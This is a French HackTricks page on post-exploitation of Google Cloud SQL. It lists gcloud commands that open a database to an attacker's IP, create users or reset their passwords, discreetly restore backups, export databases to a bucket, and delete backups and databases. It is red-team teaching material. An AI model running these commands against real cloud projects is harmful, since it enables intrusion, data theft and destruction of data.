GCP - Post-exploitation de Cloud SQL
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cloud SQL
Pour plus d'informations sur Cloud SQL, consultez :
cloudsql.instances.update
, ( cloudsql.instances.get
)
Pour se connecter aux bases de données, vous avez juste besoin d'accéder au port de la base de données et de connaître le nom d'utilisateur et le mot de passe, il n'y a pas d'exigences IAM. Donc, un moyen facile d'accéder, en supposant que la base de données a une adresse IP publique, est de mettre à jour les réseaux autorisés et permettre à votre propre adresse IP d'y accéder.
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
Il est également possible d'utiliser --no-backup
pour perturber les sauvegardes de la base de données.
Comme ce sont les exigences, je ne suis pas complètement sûr de ce que sont les permissions cloudsql.instances.connect
et cloudsql.instances.login
. Si vous le savez, envoyez une PR !
cloudsql.users.list
Obtenez une liste de tous les utilisateurs de la base de données :
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Cette permission permet de créer un nouvel utilisateur à l'intérieur de la base de données :
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
Cette permission permet de mettre à jour un utilisateur à l'intérieur de la base de données. Par exemple, vous pourriez changer son mot de passe :
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
Les sauvegardes peuvent contenir de vieilles informations sensibles, il est donc intéressant de les vérifier.
Restaurer une sauvegarde dans une base de données :
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
Pour le faire de manière plus discrète, il est recommandé de créer une nouvelle instance SQL et de récupérer les données là-bas au lieu de dans les bases de données actuellement en cours d'exécution.
cloudsql.backupRuns.delete
Cette permission permet de supprimer des sauvegardes :
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
Exporter une base de données vers un Cloud Storage Bucket afin que vous puissiez y accéder depuis là :
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Importer une base de données (écraser) depuis un Cloud Storage Bucket :
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
Supprimer une base de données de l'instance de base de données :
gcloud sql databases delete <db-name> --instance <instance-id>
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.